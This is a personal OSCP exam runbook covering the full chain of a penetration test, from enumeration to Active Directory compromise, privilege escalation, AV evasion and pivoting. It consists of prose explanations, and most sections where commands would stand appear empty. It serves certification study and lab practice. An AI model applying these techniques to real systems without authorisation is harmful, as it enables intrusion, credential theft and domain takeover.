Lupo's OSCP Runbook

This is a personal, exam-focused runbook for taking machine targets end to end — recon to proof.txt. It's built to be used during a box: skim to the right section, copy the exact command, and keep moving. Nothing here replaces hands-on practice. Hack boxes. Try exploits. Engage with the security community.

How to use it

The exam is graded on a report, not on a scoreboard — a flag you can't prove is worth zero. Read this section before the clock starts so every screenshot and note you take during the 24 hours is already report-ready. Structure current as of the Nov 2024 changes (the credential is now branded OSCP+).

The hard part is finding the way in, not the exploit itself. OSCP boxes rarely need novel or deep exploitation — the vulnerabilities are usually known and a public PoC works once you actually find it. The exam rewards breadth and methodology across many services, not depth in any one. So when you're stuck, the answer is almost always more enumeration — not a cleverer exploit.

The exam at a glance

What every proof screenshot must show

This is where points are silently lost. A flag value pasted as text is not accepted — the grader needs a screenshot proving you read it live on the target. Every flag screenshot must contain, in a single frame:

The report — write it as you go

Before touching the target, set up so every command below is copy-paste ready and your notes write themselves. Enumeration is the majority of the work — you will loop back to it after every foothold, credential, and privilege gain.

Sweep all TCP ports fast, then run version and script detection only against what is open. Kick off a UDP scan in the background — SNMP, TFTP, DNS and IKE hide there.

Flags worth knowing

Enumerate every open port, cross-reference each version with searchsploit, and always try anonymous / guest / default access first. Modern Kali note: nxc (NetExec) replaces the deprecated CrackMapExec everywhere below.

FTP · 21

SSH · 22

Rarely the entry point itself — you usually SSH in with creds found elsewhere. Password reuse wins here constantly.

SMTP · 25

DNS · 53

HTTP / HTTPS · 80 · 443 · 8080

Web is heavily weighted on the exam — see the full workflow in 06 · Web Application.

SMB · 139 · 445

SNMP · 161/udp

POP3 / IMAP · 110 · 143 · 993 · 995

LDAP · 389 · 636 · 3268

Other high-value ports

The moment you land a shell — remotely or after a foothold — build a full picture of the machine before anything else: who you are, the OS and patch level, the network around you, users, what's running, scheduled jobs, storage, and the quick privesc-relevant finds. This feeds web pivots, AD, and privilege escalation (§18/§20). Automated scanners (linPEAS / winPEAS) run all of this and more, but reading it by hand first builds intuition and catches what they bury. The commands are split by OS below — use the Linux set or the Windows set depending on the box you landed on.

Linux

System & identity

Users, processes & modules

Network

Scheduled jobs, software & storage

Windows

Identity & users

System, network & processes

Installed software (registry)

OSCP is web-heavy — spend real time here. Fingerprint the stack, brute content recursively, fuzz vhosts, parameters and APIs. The actual attack techniques (SQLi, XSS, traversal, LFI/RFI, upload, command injection) live in 07 · Web Attacks.

API discovery & testing

Modern apps expose REST and GraphQL APIs — often with weaker auth than the UI. Find the endpoints (docs, JS, brute), map the parameters, then test each object and method.

Test-for checklist

The attack playbooks for the inputs you found while enumerating (§06). Match the technique to the sink; on OSCP a web bug is usually the foothold, so keep pushing until it's RCE or credentials.

Headers worth watching & abusing

Half of web exploitation lives in the headers — what the response tells you about the stack, and which request headers get logged, reflected, or trusted (and are therefore injection points). Watch them all in Burp or with curl -v.

SQL Injection

Find the injection point, identify the DBMS, then extract. On the exam you must do this by hand — automated tools like sqlmap are not permitted. The sqlmap block below is for real-world engagements (and for grinding the tedious parts once you've proven the bug manually).

Cross-Site Scripting (XSS)

Inject JavaScript that runs in another user's browser — Reflected (echoed in this response), Stored (persisted and served to others), or DOM (a client-side sink). On OSCP, XSS is usually a stepping stone: steal an admin's session or make their browser act for you.

Directory / Path Traversal

Read arbitrary files by escaping the intended directory — distinct from LFI: traversal just reads a file, LFI includes/executes it. Common in download, file, image and template parameters.

LFI → RCE — turn a file read into code execution

If a page includes a file whose path you control, escalate from reading files to running commands. Which technique works depends on the PHP config — try php://filter first, then wrappers, then log poisoning.

Remote File Inclusion (RFI)

Rarer than LFI (needs allow_url_include=On), but instant RCE when present: the include path can be a URL you host.

File Upload vulnerabilities

An upload that lands in a web-reachable directory and is served as server-side code = a shell. Get your file past the filter, find its URL, execute it (payloads in 08 · Web Shells).

Command Injection

Once you have file write — an upload, LFI/SQLi INTO OUTFILE, or a writable share mapped to the web root — drop a webshell, confirm execution, then upgrade to an interactive reverse shell. Match the language to the stack: PHP, ASP/ASPX, or JSP.

Ready-made shells that ship with Kali

Minimal one-line command shells

Drive it, then upgrade to a reverse shell

Upload filter bypasses

WordPress powers a large share of the web, so it turns up constantly on exam-style boxes — and it fails in predictable ways: weak admin passwords, vulnerable plugins/themes, and leaked wp-config.php credentials. The play is always the same: fingerprint → enumerate users, plugins, themes → get admin (crack or a plugin CVE) → turn the admin panel into RCE.

Confirm it's WordPress, then hit the paths that matter

whatweb or a /wp-login.php that loads confirms it. Then walk the high-signal paths by hand — several give you version, usernames or creds without any tool:

WPScan — enumerate the target

From a flagged version to a shell

WPScan tells you e.g. “wpDiscuz 7.0.4 — vulnerable” with a CVE/title. Look it up (searchsploit wpdiscuz, the WPScan reference link, or Google the CVE) and run the PoC. If instead you cracked admin creds, you don't need a plugin bug at all — the dashboard is RCE:

Catch & stabilize the shell

Password attacks

Active Directory quick hits

A reverse shell makes the target connect back to your listener. Pick a payload the target can actually run, catch it, then stabilise it. When a raw one-liner won't fire, encode it (base64 / URL) or package it with msfvenom; catch staged and Meterpreter payloads with multi/handler.

Start a listener

Linux reverse shells (try a few — depends what's installed)

Windows reverse shells

Encode & package with msfvenom

Metasploit multi/handler

multi/handler is Metasploit's listener — the receiving end for a payload you built with msfvenom. Reach for it when the payload is staged (a tiny first stage that pulls the rest of the payload down over the connection) or is Meterpreter: a plain nc listener can't complete the handshake for those, so the shell dies the moment it connects. Point the handler at the exact payload, LHOST and LPORT you generated, run it backgrounded (-j), and it catches the callback and drops you into a session you can list, background and juggle. A stageless, non-Meterpreter payload (shell_reverse_tcp) lands fine on nc — you only need the handler for staged or Meterpreter payloads.

AV evasion (when Defender eats your payload)

On the exam, static AV on Windows will flag raw msfvenom EXEs and mimikatz. A few OSCP-appropriate moves get a shell through:

You'll collect hashes everywhere — web DBs, SAM, shadow, Kerberos, protected files. Identify the format, pick the tool, then escalate: wordlist alone → wordlist + rules → masks.

Dumping SAM & SYSTEM → local NTLM hashes

Local account hashes live in the SAM hive, encrypted with a boot key stored in the SYSTEM hive. Grab both, then extract the NTLM hashes offline with impacket-secretsdump — no need to touch LSASS. Needs local admin / SYSTEM (or SeBackupPrivilege). Add SECURITY for LSA secrets and cached domain creds.

Password-manager & vault databases

Users stash everything in a KeePass or Password Safe vault — cracking one master password often hands you every credential on the network. Find the file, extract the hash, crack it, then open it.

Capturing & relaying NetNTLMv2

When you can make a Windows host authenticate to you — poisoned name resolution, a UNC path in a field, or coercion — you capture its NetNTLMv2 challenge-response. You can't pass-the-hash it (it's not the NT hash), so you either crack it offline or relay it live to a host where SMB signing is off.

Cracking (previous section) is offline — you already hold the hash. This section is online: throwing guesses at a live service. Two shapes, and the difference matters for lockouts: brute force = many passwords against one account; password spraying = one password against many accounts. Spray first — it's how you avoid locking everyone out. And never forget the cheapest attack of all: credential reuse — a password found anywhere gets tried on every service and every user.

First build the username & password lists

A brute force is only as good as its lists. Gather names and candidate passwords from what enumeration already gave you — don't reach for rockyou.txt against a login form by reflex.

Password spraying — safest, do it first

Online brute force — per service

Enumeration is the whole game in AD: you're building a picture of users, groups, ACLs, delegation and GPOs, and every finding maps to a specific attack in the next section. Collect broadly, mark what you own, and let BloodHound show the path.

1 · Users & the domain (no creds yet)

2 · Deeper enumeration (with any creds)

3 · PowerView, from a Windows foothold

4 · Group Policy (GPO) enumeration

5 · Map the domain with BloodHound CE

BloodHound comes in two flavours: Community Edition (the current one — a web UI you run locally, usually via Docker) and the older BloodHound Legacy (the neo4j + Electron desktop app, still perfectly usable). Either works — CE is just the actively maintained version, and 'runs in Docker' still means it runs on your own machine. SharpHound (or a Python/Rust collector) gathers the data; you drop the zip into whichever UI and hunt with Cypher. Match the collector to your BloodHound version. Collector links are in 25 · Tooling.

6 · Useful Cypher queries (paste into the Cypher tab)

Enumeration → Attack decision map

What each finding tells you to do next — every row points at a numbered play in 15 · AD Attacks.

Each play opens with When — the enumeration finding that makes it the right move. Follow the decision map from 14 · AD Enumeration. Once a credential lands you on a box, move host-to-host in 16 · Lateral Movement.

Mimikatz — dump creds, keys & tickets

The go-to Windows post-exploitation tool (needs local admin / SYSTEM). It reads secrets straight from LSASS and the registry, and forges or injects Kerberos tickets. From Kali you rarely need it — impacket and nxc do the same over the wire — but on a Windows foothold it's king.

Password spraying & using a TGT

When: you have one working password (or a seasonal pattern) and the lockout policy leaves headroom. After a hit, request a Kerberos TGT and reuse it (pass-the-ticket) instead of resending the password.

AS-REP roasting

When: enumeration flagged a user with pre-auth not required (dontreqpreauth) — or you have no creds yet and want a first crackable hash. Then: crack the hash offline (-m 18200); the recovered plaintext is a genuine domain password — spray it across every user and service and re-enumerate the domain as that account (its group memberships may open new paths).

Kerberoasting

When: you hold any valid domain creds and enumeration shows accounts with SPNs (service accounts). Prioritise RC4 tickets and accounts with a path to DA. Then: crack offline (-m 13100). Service accounts are frequently over-privileged — SQL/backup admins, sometimes Domain Admin — so test the plaintext for local-admin (nxc), a BloodHound path to DA, and reuse on other services; a Kerberoasted SQL account often leads straight to xp_cmdshell RCE.

Abuse an ACL edge

When: BloodHound shows an outbound edge (GenericAll, GenericWrite, WriteDacl, ForceChangePassword, AddMember, AddKeyCredentialLink) from a principal you own to a higher-value target. Then: you now control that target — log in with the new password, the shadow-cred PKINIT ticket, or your new group rights — so mark it Owned in BloodHound and re-run Shortest-Path-from-Owned; each edge you consume usually reveals the next one toward Domain Admin.

Abuse a vulnerable GPO

When: enumeration (BloodHound / PowerView) shows you can modify a GPO that is linked to an OU containing users or computers you want. Editing it pushes your payload to every object in that OU.

Delegation abuse

When: enumeration shows constrained delegation (msDS-AllowedToDelegateTo), unconstrained delegation, or you can write to a computer object with MachineAccountQuota > 0 (RBCD). Then: the getST output is a service ticket impersonating Administrator to the target SPN — use it with -k -no-pass exactly like a silver ticket (cifs/ → psexec/SYSTEM on that host). Unconstrained instead: coerce a DC to authenticate to your compromised host, capture its TGT from memory, and reuse it to DCSync.

Coercion & NTLM relay

When: enumeration shows SMB signing disabled on a target, and you can force an authentication (or want to relay to LDAP / AD CS). Then: the coerced auth lands in ntlmrelayx → relay to SMB on a signing-off host to dump its SAM or get a shell, or relay to LDAP with --escalate-user to grant your low-priv account DCSync. With -socks, keep the session alive and proxychains impacket tools through it. NetNTLMv2 you capture but can't relay → crack it (-m 5600).

Credential dumping (SAM · LSA · LSASS)

When: you're local admin / SYSTEM on a host — pull more secrets to reuse across the domain. Then: pass-the-hash the recovered NT hashes across the network (nxc smb <range> -u USER -H <hash>) to find where each is admin, crack what you can for plaintext reuse, and look for domain creds cached in LSASS (a logged-in DA is game over). A reused local-admin hash frequently unlocks every workstation at once.

Silver tickets

When: you have a service or computer account's hash/AES key. Forge a service ticket (TGS) for that one service on that one host — it never touches the DC, so it's stealthy and survives a krbtgt reset. Then: present the forged ticket with -k -no-pass (or /ptt) to that SPN as any user, including Administrator: cifs/ → file shares & psexec/SYSTEM, http/ → the web app / WinRM, mssqlsvc/ → the database (xp_cmdshell), host/ → schedule a task. One host, no DA, no DC — perfect when you cracked a service account but it isn't a local admin.

Golden tickets

When: you have the krbtgt hash (from DCSync, below). Mint a TGT for anyone and any service — complete, persistent domain compromise. Then: inject it (/ptt, or export KRB5CCNAME) and authenticate anywhere as Administrator/DA — psexec/wmiexec the DC, DCSync at will, read every box. Keep it as persistence: a Golden ticket survives every password reset except krbtgt's (reset twice to kill it). For the exam, grab your proof flags — don't leave gratuitous backdoors.

DCSync & domain dominance

When: you (or a group you're in) hold GetChanges + GetChangesAll on the domain — usually reached via an ACL edge above. This hands you every hash, including krbtgt for a Golden ticket. Then: take krbtgt → forge a Golden ticket (above); take the Administrator NT hash → pass-the-hash to the DC and every host; crack or reuse the rest. DCSync is usually the last step — you already own the domain by the time you can run it.

AD attack cheat-table — what each needs & gives

Once you hold a credential, hash, or ticket that is local admin somewhere — a (Pwn3d!) from nxc or an AdminTo edge in BloodHound — pivot across the domain. Every method below accepts a password, an NT hash (pass-the-hash), or a Kerberos ticket (-k -no-pass).

WMI & WinRM

Quiet, no service dropped. WMI (wmiexec) and WinRM (evil-winrm / PSRemoting) are the first choice when the host allows them (WinRM = 5985/5986).

PsExec (impacket)

Classic SYSTEM shell: uploads a service binary and runs it as SYSTEM. Reliable but noisy (drops a service, writes an event log).

Pass-the-Hash (PtH)

You don't need the plaintext — the NT hash authenticates over NTLM directly. Use it anywhere a tool takes -H / -hashes. First spray the hash to find where it's admin.

Over-Pass-the-Hash (Pass-the-Key)

Turn an NT hash (or AES key) into a full Kerberos TGT, then act via Kerberos — cleaner than NTLM PtH and works where NTLM is disabled. AES keys are stealthier than RC4/NT.

DCOM

Distributed COM objects expose methods that execute commands — a lateral path that avoids PsExec's service. Needs local admin on the target and DCOM reachable (135 + dynamic RPC).

Pass-the-Ticket (reuse a ticket in memory)

Different from over-pass-the-hash: here you steal an existing Kerberos ticket (TGT or TGS) out of memory on a box you own and inject it into your session — no hash or password needed. Great when a privileged user has a live session on your foothold.

Active Directory persistence tactics

Mostly awareness for OSCP — grading is snapshot-based on flags, so you rarely need persistence — but know these for labs and the report's recommendations.

linpeas.sh runs hundreds of Linux privesc checks in one shot. The trap is drowning in output — so learn its colour code and jump straight to the leads. This section is the map; the actual exploitation of each lead is in the next section (Privilege Escalation — Linux).

How to run it

Reading it section by section — what each block is telling you

Privesc is a search problem: enumerate broadly, then walk each vector in turn. Run the automated scanners, but read the output — they surface leads, you do the exploiting.

Quick wins — what to check, and what you do when you find it

System daemon & service review

A daemon running as root that you can influence is a direct win. List the running services, find the ones owned by root, and check whether their unit file, their ExecStart binary, or their config is writable by you.

Insecure file permissions

A misconfigured permission on a sensitive file is the cleanest privesc there is. The headline case: a writable /etc/passwd lets you add your own root user outright.

winPEAS is the Windows twin of linPEAS — it dumps token privileges, services, DLL-hijack candidates, unquoted paths, autoruns and stored credentials. Same discipline: learn the colour code, chase the highlights, verify by hand. Exploitation of each lead is in the next section (Privilege Escalation — Windows).

How to run it

Reading it section by section — what each block is telling you

Same idea as Linux: enumerate widely, then walk each vector. Start with your own token, then let the scanners map services, DLLs, scheduled tasks and stored credentials.

Token privileges — how to abuse each

whoami /priv lists your privileges. Many show as Disabled, but the tools below enable them at runtime — so try regardless. Match the privilege to its escalation:

Service, DLL & registry issues

Binary / service hijacking (walkthrough)

Windows services run as SYSTEM, so if you can change what a service executes — its registered path, its on-disk binary, or an unquoted-path gap — you get a SYSTEM shell when it (re)starts. Three flavours:

DLL hijacking (walkthrough)

A service or app that loads a DLL by name and searches a directory you can write to before the legitimate one will load your DLL instead — and run your code in that process's context (often SYSTEM). Find the missing / writable DLL, build one, drop it in place.

PowerUp.ps1 — automate the whole hunt

PowerUp finds and exploits most of the above (weak service perms, unquoted paths, DLL hijacks, AlwaysInstallElevated, autoruns) from PowerShell — no compiling needed.

PowerShell history & transcripts

Admins paste passwords into PowerShell constantly, and PSReadline writes every line to a file on disk — one of the highest-yield, most-overlooked reads on a Windows box.

Dump SAM & SYSTEM (local hashes for reuse / PtH)

Once you're local admin / SYSTEM (or hold SeBackupPrivilege), dump the local account hashes: they crack easily and the local Administrator hash is reused across machines all the time. The hashes are in the SAM hive, keyed by the SYSTEM hive — grab both and extract them offline.

Credential hunting & getting SYSTEM

Public PoCs ship as source. Read the header first — it usually names the target OS/arch and the exact compile line. Build on Kali, match the target's architecture, and statically link when the target is missing libraries.

The classic vulnserver / SLMail workflow: fuzz → find the offset → control EIP → find bad chars → find a JMP ESP → drop shellcode. Done with Immunity Debugger + mona.py against a 32-bit service.

1 · Fuzz — find the crashing length

2 · Offset — where in the buffer is EIP

3 · Confirm EIP control

4 · Bad characters

5 · Find a JMP ESP

6 · Shellcode

Own a box with a second NIC and you pivot to hosts you can't route to directly. ligolo-ng is the modern first choice; chisel and SSH forwarding are the reliable fallbacks. Identify a pivot first: ip a / ipconfig, route, and arp -a reveal the internal subnet.

ligolo-ng (preferred — a real routed interface)

chisel (SOCKS proxy fallback)

SSH forwarding & sshuttle (when you have SSH creds)

DNS tunnelling (when only DNS gets out)

If every TCP/UDP egress port is filtered but the host can still resolve names, you can smuggle a shell or a tunnel inside DNS queries to a domain whose authoritative server you control. Slow, but it defeats strict egress filtering.

Serve files from Kali, pull from the target — or push loot back. Prefer ports 80/443/445, which are usually allowed outbound even when egress is filtered.

Kali ships impacket, nxc, hydra, hashcat, feroxbuster and friends — but the AD collectors, the Ghostpack/PowerShell tools, the potatoes and the pivots you pull down per box. Grab these onto your attack VM (and stage them to targets as needed). All are the current, maintained sources as of 2026.

Same job — Linux (Kali) vs Windows tool

SecLists ships on Kali under /usr/share/seclists (else sudo apt install seclists); rockyou is at /usr/share/wordlists/rockyou.txt (gunzip it if it's still compressed). Paths below are relative to those roots.

Being stuck on OSCP almost always means missed enumeration, not a missing exploit. Work this list top to bottom before you decide a machine is “hard” — the path is usually something you walked past.

1 · Re-enumerate from scratch (the 90% fix)

2 · Web — you probably under-fuzzed

3 · Match versions to public exploits

4 · Credentials — use everything, everywhere

5 · Re-read what you already have

6 · Privesc stuck — Linux

7 · Privesc stuck — Windows

8 · Privesc / lateral stuck — Active Directory

9 · Tactics when your head is stuck

10 · Rabbit-hole detector — back out if…

That's the whole map — recon to proof.txt, and every service, shell and privesc trick in between. When the exam clock starts, trust the process: enumerate more than feels necessary, spray every credential everywhere, screenshot as you go, and take the break when your brain fogs. The box that feels impossible is almost always hiding one port, one file, or one password you haven't looked at yet.

Good luck, and happy hacking. You've put in the work — now go enumerate like you mean it. Try harder, rest when you need to, and come back sharp. You've got this.